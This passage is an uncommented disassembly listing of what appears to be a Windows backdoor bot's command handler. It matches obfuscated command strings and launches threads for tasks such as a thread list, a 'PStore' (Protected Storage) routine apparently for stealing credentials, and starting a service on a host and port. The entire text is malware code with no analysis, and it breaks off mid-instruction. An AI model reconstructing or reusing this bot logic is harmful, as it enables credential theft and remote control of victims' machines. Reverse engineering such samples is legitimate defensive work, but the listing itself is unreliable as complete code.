aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B77F: ; CODE XREF: sub_40A9FE+D5Dj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B789: ; CODE XREF: sub_40A9FE+D63j push dword ptr [ebx+8] push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0" jmp short loc_40B7CD ; --------------------------------------------------------------------------- loc_40B793: ; CODE XREF: sub_40A9FE+D57j cmp [ebp+arg_14], 0 jnz short loc_40B7BB cmp [ebp+arg_18], 0 jnz short loc_40B7C5 push dword ptr [ebx+8] push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0" push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B7BB: ; CODE XREF: sub_40A9FE+D99j cmp [ebp+arg_18], 0 jz loc_414995 loc_40B7C5: ; CODE XREF: sub_40A9FE+D9Fj push dword ptr [ebx+8] push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0" loc_40B7CD: ; CODE XREF: sub_40A9FE+D93j ; sub_40A9FE+E22j ... push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" jmp loc_41491C ; --------------------------------------------------------------------------- loc_40B7D7: ; CODE XREF: sub_40A9FE+C84j ; sub_40A9FE+C94j push 6 call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40B822 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40B812 cmp [ebp+arg_18], 0 jnz short loc_40B81C push eax push ebx push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B812: ; CODE XREF: sub_40A9FE+DF6j cmp [ebp+arg_18], 0 jz loc_414995 loc_40B81C: ; CODE XREF: sub_40A9FE+DFCj push [ebp+arg_C] push ebx jmp short loc_40B7CD ; --------------------------------------------------------------------------- loc_40B822: ; CODE XREF: sub_40A9FE+DE6j mov eax, [ebp+arg_14] mov [ebp+var_AFC], eax mov eax, [ebp+arg_20] mov [ebp+var_B00], eax mov eax, [ebp+arg_18] mov [ebp+var_AF8], eax test eax, eax lea eax, [ebp+var_BAC] jnz short loc_40B84C push dword ptr [esi+0Ch] jmp short loc_40B84E ; --------------------------------------------------------------------------- loc_40B84C: ; CODE XREF: sub_40A9FE+E47j push dword ptr [esi] loc_40B84E: ; CODE XREF: sub_40A9FE+E4Cj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_BB0], eax mov ebx, [ebx+4] test ebx, ebx jz short loc_40B87A push offset aNfknl0nqigy0 ; "NFKNL0nQigY0" push ebx call edi ; dword_437178 neg eax sbb eax, eax inc eax mov [ebp+var_B1C], eax jmp short loc_40B881 ; --------------------------------------------------------------------------- loc_40B87A: ; CODE XREF: sub_40A9FE+E65j and [ebp+var_B1C], 0 loc_40B881: ; CODE XREF: sub_40A9FE+E7Aj push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push offset aSThreadList ; "%s Thread list" push 6 call sub_4234A7 add esp, 0Ch mov [ebp+var_B2C], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_BB0] push edi push eax push offset sub_423719 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_B2C] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_40B91E cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40B8FF cmp [ebp+arg_18], 0 jnz short loc_40B909 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B8FF: ; CODE XREF: sub_40A9FE+EDDj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B909: ; CODE XREF: sub_40A9FE+EE3j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_40B7CD ; --------------------------------------------------------------------------- loc_40B916: ; CODE XREF: sub_40A9FE+F26j push 32h call dword_437190 ; Sleep loc_40B91E: ; CODE XREF: sub_40A9FE+ECCj cmp [ebp+var_AF4], edi jz short loc_40B916 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40B92B: ; CODE XREF: sub_40A9FE+C79j push dword ptr [ebx] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call edi ; dword_437178 test eax, eax jnz loc_40BA72 push dword ptr [ebx+4] push offset aDJstMfgyq_ ; "d/Jst/MFgyQ." call edi ; dword_437178 test eax, eax jnz loc_40BA72 push 12h call sub_42381F xor edi, edi pop ecx cmp eax, edi mov [ebp+arg_C], eax jle short loc_40B9A4 mov ebx, offset aLtlec18us5q0 ; "LTLec18US5q0" loc_40B964: ; CODE XREF: sub_40A9FE+1604j ; sub_40A9FE+1748j ... cmp [ebp+arg_14], 0 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40B98D cmp [ebp+arg_18], 0 jnz short loc_40B997 push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B98D: ; CODE XREF: sub_40A9FE+F6Fj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B997: ; CODE XREF: sub_40A9FE+F75j push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... jmp loc_41491B ; --------------------------------------------------------------------------- loc_40B9A4: ; CODE XREF: sub_40A9FE+F5Fj cmp [ebp+arg_2C], edi jz short loc_40B9B0 mov ebx, [ebx+8] cmp ebx, edi jnz short loc_40B9B7 loc_40B9B0: ; CODE XREF: sub_40A9FE+FA9j push offset dword_443F24 jmp short loc_40B9B8 ; --------------------------------------------------------------------------- loc_40B9B7: ; CODE XREF: sub_40A9FE+FB0j push ebx loc_40B9B8: ; CODE XREF: sub_40A9FE+FB7j lea eax, [ebp+var_1AEC] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov ebx, offset aLtlec18us5q0 ; "LTLec18US5q0" push offset aIhfnL6b5x ; "/iHFN/l6B5X/" push ebx push offset aSS_ ; "%s %s." push 12h mov [ebp+var_1AF0], eax call sub_4234A7 add esp, 10h mov [ebp+var_1A6C], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_1AF0] push edi push eax push offset sub_425AE4 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1A6C] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_412FED jmp short loc_40BA2B ; --------------------------------------------------------------------------- loc_40BA23: ; CODE XREF: sub_40A9FE+1033j push 32h call dword_437190 ; Sleep loc_40BA2B: ; CODE XREF: sub_40A9FE+1023j cmp [ebp+var_1A34], edi jz short loc_40BA23 cmp [ebp+arg_14], 0 mov edi, offset aSStarted_ ; "%s started." jnz short loc_40BA54 cmp [ebp+arg_18], 0 jnz short loc_40BA5E push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40BA54: ; CODE XREF: sub_40A9FE+103Ej cmp [ebp+arg_18], 0 jz loc_412FED loc_40BA5E: ; CODE XREF: sub_40A9FE+1044j push ebx loc_40BA5F: ; CODE XREF: sub_40A9FE+85C6j push edi loc_40BA60: ; CODE XREF: sub_40A9FE+5CCBj ; sub_40A9FE+8367j push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 loc_40BA6A: ; CODE XREF: sub_40A9FE+5292j add esp, 10h jmp loc_412FED ; --------------------------------------------------------------------------- loc_40BA72: ; CODE XREF: sub_40A9FE+F38j ; sub_40A9FE+F4Aj push dword ptr [ebx] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call edi ; dword_437178 test eax, eax jnz short loc_40BAA9 push dword ptr [ebx+4] push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" call edi ; dword_437178 test eax, eax jnz short loc_40BAA9 push offset aLtlec18us5q0 ; "LTLec18US5q0" push 12h jmp loc_412B29 ; --------------------------------------------------------------------------- loc_40BA99: ; CODE XREF: sub_40A9FE+8134j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [esi] jmp loc_412CB2 ; --------------------------------------------------------------------------- loc_40BAA9: ; CODE XREF: sub_40A9FE+107Fj ; sub_40A9FE+108Dj push dword ptr [ebx] push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx." call edi ; dword_437178 test eax, eax jnz loc_40BE03 push 13h call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40BB0D cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40BAF5 cmp [ebp+arg_18], 0 jnz short loc_40BAFF push eax push ebx push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40BAF5: ; CODE XREF: sub_40A9FE+10D9j cmp [ebp+arg_18], 0 jz loc_414995 loc_40BAFF: ; CODE XREF: sub_40A9FE+10DFj push [ebp+arg_C] push ebx loc_40BB03: ; CODE XREF: sub_40A9FE+13EBj push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" jmp loc_41491C ; --------------------------------------------------------------------------- loc_40BB0D: ; CODE XREF: sub_40A9FE+10C9j cmp [ebp+arg_2C], 0 mov ecx, offset dword_443F2C jz short loc_40BB1F mov eax, [ebx+8] test eax, eax jnz short loc_40BB22 loc_40BB1F: ; CODE XREF: sub_40A9FE+1118j push ecx jmp short loc_40BB23 ; --------------------------------------------------------------------------- loc_40BB22: ; CODE XREF: sub_40A9FE+111Fj push eax loc_40BB23: ; CODE XREF: sub_40A9FE+1122j lea eax, [ebp+var_59C] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] and [ebp+var_4E4], 0 mov [ebp+var_5A0], eax mov eax, [ebp+arg_14] mov [ebp+var_4EC], eax mov eax, [ebp+arg_18] mov [ebp+var_4E8], eax mov eax, [ebp+arg_20] mov [ebp+var_4F0], eax push dword ptr [ebx+4] push offset aItx_n_wpamx_ ; "ITx.N.WPAmx." call edi ; dword_437178 test eax, eax jnz loc_40BC11 push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push offset aSPstore ; "%s PStore" push 13h call sub_4234A7 add esp, 0Ch mov [ebp+var_51C], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_5A0] push edi push eax push offset sub_42521F push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_51C] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_40BC04 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40BBEB cmp [ebp+arg_18], 0 jnz short loc_40BBF5 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40BBEB: ; CODE XREF: sub_40A9FE+11C9j cmp [ebp+arg_18], 0 jz loc_414995 loc_40BBF5: ; CODE XREF: sub_40A9FE+11CFj call ebx ; dword_437170 jmp loc_40BDE3 ; --------------------------------------------------------------------------- loc_40BBFC: ; CODE XREF: sub_40A9FE+120Cj push 32h call dword_437190 ; Sleep loc_40BC04: ; CODE XREF: sub_40A9FE+11B8j cmp [ebp+var_4E4], edi jz short loc_40BBFC jmp loc_414995 ; --------------------------------------------------------------------------- loc_40BC11: ; CODE XREF: sub_40A9FE+1169j mov eax, [ebx+4] test eax, eax jz short loc_40BC34 push offset dword_43D664 push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_40BC34 mov eax, [ebx+4] mov [ebp+var_518], eax jmp short loc_40BC3B ; --------------------------------------------------------------------------- loc_40BC34: ; CODE XREF: sub_40A9FE+1218j ; sub_40A9FE+1229j and [ebp+var_518], 0 loc_40BC3B: ; CODE XREF: sub_40A9FE+1234j push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push offset aSPstore ; "%s PStore" push 13h call sub_4234A7 add esp, 0Ch mov [ebp+var_51C], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_5A0] push eax xor eax, eax push eax push ecx push offset sub_423846 push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_51C] mov edi, offset aSSD_ ; "%s %s (%d)." imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_40BD01 cmp [ebp+arg_14], eax jnz short loc_40BCB5 cmp [ebp+arg_18], eax jnz short loc_40BCBB call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40BCB5: ; CODE XREF: sub_40A9FE+1290j cmp [ebp+arg_18], 0 jz short loc_40BCDA loc_40BCBB: ; CODE XREF: sub_40A9FE+1295j call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 18h loc_40BCDA: ; CODE XREF: sub_40A9FE+12BBj ; sub_40A9FE+130Cj push 0BB8h call dword_437190 ; Sleep cmp [ebp+arg_2C], 0 jz short loc_40BCF2 mov eax, [ebx+8] test eax, eax jnz short loc_40BD0C loc_40BCF2: ; CODE XREF: sub_40A9FE+12EBj push offset dword_443F2C jmp short loc_40BD0D ; --------------------------------------------------------------------------- loc_40BCF9: ; CODE XREF: sub_40A9FE+130Aj push 32h call dword_437190 ; Sleep loc_40BD01: ; CODE XREF: sub_40A9FE+128Bj cmp [ebp+var_4E4], 0 jz short loc_40BCF9 jmp short loc_40BCDA ; --------------------------------------------------------------------------- loc_40BD0C: ; CODE XREF: sub_40A9FE+12F2j push eax loc_40BD0D: ; CODE XREF: sub_40A9FE+12F9j lea eax, [ebp+var_828] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] and [ebp+var_770], 0 mov [ebp+var_82C], eax mov eax, [ebp+arg_14] mov [ebp+var_778], eax mov eax, [ebp+arg_18] mov [ebp+var_774], eax mov eax, [ebp+arg_20] mov [ebp+var_77C], eax mov eax, [ebx+4] test eax, eax jz short loc_40BD72 push offset dword_43D664 push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_40BD68 mov eax, [ebx+4] mov [ebp+var_7A4], eax jmp short loc_40BD79 ; --------------------------------------------------------------------------- loc_40BD68: ; CODE XREF: sub_40A9FE+135Dj xor ebx, ebx mov [ebp+var_7A4], ebx jmp short loc_40BD7B ; --------------------------------------------------------------------------- loc_40BD72: ; CODE XREF: sub_40A9FE+134Cj and [ebp+var_7A4], 0 loc_40BD79: ; CODE XREF: sub_40A9FE+1368j xor ebx, ebx loc_40BD7B: ; CODE XREF: sub_40A9FE+1372j lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_82C] push ebx push eax push offset sub_425092 push ebx push ebx call dword_437180 ; CreateThread mov ecx, [ebp+var_7A8] imul ecx, 2724h cmp eax, ebx mov dword_46D72C[ecx], eax jnz short loc_40BDF6 cmp [ebp+arg_14], ebx jnz short loc_40BDD4 cmp [ebp+arg_18], ebx jnz short loc_40BDDD call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40BDD4: ; CODE XREF: sub_40A9FE+13AFj cmp [ebp+arg_18], ebx jz loc_414995 loc_40BDDD: ; CODE XREF: sub_40A9FE+13B4j call dword_437170 ; RtlGetLastWin32Error loc_40BDE3: ; CODE XREF: sub_40A9FE+11F9j push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_40BB03 ; --------------------------------------------------------------------------- loc_40BDEE: ; CODE XREF: sub_40A9FE+13FEj push 32h call dword_437190 ; Sleep loc_40BDF6: ; CODE XREF: sub_40A9FE+13AAj cmp [ebp+var_770], ebx jz short loc_40BDEE jmp loc_414995 ; --------------------------------------------------------------------------- loc_40BE03: ; CODE XREF: sub_40A9FE+10B6j push dword ptr [ebx] push offset aLndk50vzcqw0 ; "LNdk50vzCqW0" call edi ; dword_437178 test eax, eax jnz loc_40BFDD mov eax, [ebp+arg_10] xor edi, edi cmp [ebp+arg_2C], edi mov [ebp+var_A28], eax mov eax, [ebp+arg_18] mov [ebp+var_970], eax lea eax, [ebp+var_A24] jnz loc_40BF43 push offset dword_443F2C push eax call dword_4370B4 ; lstrcpyA cmp [ebp+arg_30], edi jz short loc_40BE65 loc_40BE48: ; CODE XREF: sub_40A9FE+1552j push [ebp+var_970] lea eax, [ebp+var_A24] push [ebp+var_A28] push eax call sub_425568 jmp loc_40D35F ; --------------------------------------------------------------------------- loc_40BE65: ; CODE XREF: sub_40A9FE+1448j mov eax, [ebx+4] cmp eax, edi jz loc_40BF0B cmp [ebx+8], edi jz loc_40BF0B cmp [ebx+0Ch], edi jz loc_40BF0B push eax call sub_420E5B push dword ptr [ebx+0Ch] mov [ebp+arg_C], eax lea eax, [ebp+var_5EC8] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 10h push 4 pop esi cmp [ebp+arg_4], esi jle short loc_40BEE4 loc_40BEAA: ; CODE XREF: sub_40A9FE+14E4j mov eax, [ebx+esi*4] cmp eax, edi jz short loc_40BEDE push eax lea eax, [ebp+var_3F580] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_3F580] push 104h push eax lea eax, [ebp+var_5EC8] push eax call sub_4299E0 add esp, 18h loc_40BEDE: ; CODE XREF: sub_40A9FE+14B1j inc esi cmp esi, [ebp+arg_4] jl short loc_40BEAA loc_40BEE4: ; CODE XREF: sub_40A9FE+14AAj push dword ptr [ebx+8] lea eax, [ebp+var_5EC8] push eax push [ebp+arg_C] loc_40BEF1: ; CODE XREF: sub_40A9FE+15DAj push [ebp+var_970] lea eax, [ebp+var_A24] push [ebp+arg_10] push eax call sub_4256F7 jmp loc_414927 ; --------------------------------------------------------------------------- loc_40BF0B: ; CODE XREF: sub_40A9FE+146Cj ; sub_40A9FE+1475j ... mov edi, offset aUhdhc1pcv9i ; "uhdhC1pCV9i/" loc_40BF10: ; CODE XREF: sub_40A9FE+239Bj ; sub_40A9FE+5786j ... cmp [ebp+arg_14], 0 mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40BF3A cmp [ebp+arg_18], 0 loc_40BF1F: ; CODE XREF: sub_40A9FE+57B9j ; sub_40A9FE+816Cj jnz loc_41478A push ebx push edi push offset aSS_1 ; "%s %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40BF3A: ; CODE XREF: sub_40A9FE+151Bj ; sub_40A9FE+57B0j ... cmp [ebp+arg_18], 0 jmp loc_414784 ; --------------------------------------------------------------------------- loc_40BF43: ; CODE XREF: sub_40A9FE+1433j push dword ptr [ebx+4] push eax call dword_4370B4 ; lstrcpyA cmp [ebp+arg_30], edi jnz loc_40BE48 cmp [ebx+4], edi jz short loc_40BF0B mov eax, [ebx+8] cmp eax, edi jz short loc_40BF0B cmp [ebx+0Ch], edi jz short loc_40BF0B cmp [ebx+10h], edi jz short loc_40BF0B push eax call sub_420E5B push dword ptr [ebx+10h] mov edi, eax lea eax, [ebp+var_60CC] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 10h push 5 pop esi cmp [ebp+arg_4], esi jle short loc_40BFCD loc_40BF93: ; CODE XREF: sub_40A9FE+15CDj mov eax, [ebx+esi*4] test eax, eax jz short loc_40BFC7 push eax lea eax, [ebp+var_13660] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_13660] push 104h push eax lea eax, [ebp+var_60CC] push eax call sub_4299E0 add esp, 18h loc_40BFC7: ; CODE XREF: sub_40A9FE+159Aj inc esi cmp esi, [ebp+arg_4] jl short loc_40BF93 loc_40BFCD: ; CODE XREF: sub_40A9FE+1593j push dword ptr [ebx+0Ch] lea eax, [ebp+var_60CC] push eax push edi jmp loc_40BEF1 ; --------------------------------------------------------------------------- loc_40BFDD: ; CODE XREF: sub_40A9FE+1410j push dword ptr [ebx] push offset a9ljbh07crkd_ ; "9lJBH07crkD." call edi ; dword_437178 test eax, eax jnz loc_40C121 push 14h call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40C007 mov ebx, offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40C007: ; CODE XREF: sub_40A9FE+15FDj mov eax, [ebp+arg_14] mov [ebp+var_BBC], eax mov eax, [ebp+arg_18] mov [ebp+var_BC0], eax mov eax, [ebp+arg_20] mov [ebp+var_BB8], eax push dword ptr [esi+0Ch] lea eax, [ebp+var_C44] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" push edi mov ebx, offset aSS_ ; "%s %s." push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push ebx push 14h mov [ebp+var_C48], eax call sub_4234A7 add esp, 10h mov [ebp+var_BC4], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_C48] push eax xor eax, eax push eax push ecx push offset sub_425FFA push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_BC4] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_40C0E2 cmp [ebp+arg_14], eax mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40C0BE cmp [ebp+arg_18], eax jnz short loc_40C0C8 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40C0BE: ; CODE XREF: sub_40A9FE+169Dj cmp [ebp+arg_18], 0 jz loc_414995 loc_40C0C8: ; CODE XREF: sub_40A9FE+16A2j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." jmp loc_41491C ; --------------------------------------------------------------------------- loc_40C0DA: ; CODE XREF: sub_40A9FE+16EBj push 32h call dword_437190 ; Sleep loc_40C0E2: ; CODE XREF: sub_40A9FE+168Dj cmp [ebp+var_BB4], 0 jz short loc_40C0DA cmp [ebp+arg_14], 0 jnz short loc_40C10C cmp [ebp+arg_18], 0 jnz short loc_40C116 push edi push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40C10C: ; CODE XREF: sub_40A9FE+16F1j cmp [ebp+arg_18], 0 jz loc_414995 loc_40C116: ; CODE XREF: sub_40A9FE+16F7j push edi push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." jmp loc_40B0FB ; --------------------------------------------------------------------------- loc_40C121: ; CODE XREF: sub_40A9FE+15EAj push dword ptr [ebx] push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" call edi ; dword_437178 test eax, eax jnz loc_40C287 push 15h call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_40C14B mov ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40C14B: ; CODE XREF: sub_40A9FE+1741j mov eax, [ebp+arg_14] mov [ebp+var_A38], eax mov eax, [ebp+arg_20] mov [ebp+var_A3C], eax push dword ptr [esi+0Ch] lea eax, [ebp+var_AE8] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_AEC], eax mov ebx, [ebx+4] test ebx, ebx jz short loc_40C186 push ebx call sub_42A100 pop ecx jmp short loc_40C18D ; --------------------------------------------------------------------------- loc_40C186: ; CODE XREF: sub_40A9FE+177Dj movzx eax, word_44399C loc_40C18D: ; CODE XREF: sub_40A9FE+1786j push eax mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" push offset dword_457C40 mov ebx, offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0" push edi push ebx push offset aSSOnSI ; "%s %s on: [%s:%i]" push 15h mov [ebp+var_A4C], eax call sub_4234A7 add esp, 18h mov [ebp+var_A68], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_AEC] push eax xor eax, eax push eax push ecx push offset sub_4217A4 push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_A68] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_40C231 cmp [ebp+arg_14], eax mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_40C21A cmp [ebp+arg_18], eax jnz loc_41490F call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push ebx push edi push dword ptr [esi+0Ch] loc_40C20F: ; CODE XREF: sub_40A9FE+1E28j push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40C21A: ; CODE XREF: sub_40A9FE+17F5j ; sub_40A9FE+1E07j cmp [ebp+arg_18], 0 jz loc_414995 jmp loc_41490F ; --------------------------------------------------------------------------- loc_40C229: ; CODE XREF: sub_40A9FE+183Aj push 32h call dword_437190 ; Sleep loc_40C231: ; CODE XREF: sub_40A9FE+17EBj cmp [ebp+var_A30], 0 jz short loc_40C229 cmp [ebp+arg_14], 0 jnz short loc_40C266 cmp [ebp+arg_18], 0 jnz short loc_40C270 push [ebp+var_A4C] push offset dword_457C40 push edi push ebx push offset aSSOnSI_0 ; "%s %s on: (%s:%i)" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_40C266: ; CODE XREF: sub_40A9FE+1840j cmp [ebp+arg_18], 0 jz loc_414995 loc_40C270: ; CODE XREF: sub_40A9FE+1846j push [ebp+var_A4C] push offset dword_457C40 push edi push ebx push offset aSSOnSI_0 ; "%s %s on: (%s:%i)" jmp loc_414988 ; --------------------------------------------------------------------------- loc_40C287: ; CODE XREF: sub_40A9FE+172Ej push dword ptr [ebx] push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1" call edi ; dword_437178 test eax, eax jnz short loc_40C2A0 push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0" push 15h jmp loc_412B29 ; --------------------------------------------------------------------------- loc_40C2A0: ; CODE XREF: sub_40A9FE+1894j push dword ptr [ebx] push offset aS3dyJzo6r_0 ; "s3dY//JZo6r/" call edi ; dword_437178 test eax, eax jz loc_41492C push dword ptr [ebx] push offset aDo5oa0u5m7_ ; "dO5oA/0U5m7." call edi ; dword_437178 test eax, eax jz loc_41492C push dword ptr [ebx] push offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0" call edi ; dword_437178 test eax, eax jnz loc_40C4A1 lea eax, [ebp+var_30] push eax call dword_4370D0 ; QueryPerformanceCounter lea eax, [ebp+var_38] push eax call dword_43718C ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_2C], eax jl short loc_40C32E jg short loc_40C2F5 cmp [ebp+var_30], eax jbe short loc_40C32E loc_40C2F5: ; CODE XREF: sub_40A9FE+18F0j cmp [ebp+var_34], eax jl short loc_40C32E jg short loc_40C301 cmp [ebp+var_38], eax jbe short loc_40C32E loc_40C301: ; CODE XREF: sub_40A9FE+18FCj push [ebp+var_34] push [ebp+var_38] push [ebp+var_2C] push [ebp+var_30] call sub_42B2F0 mov dword ptr 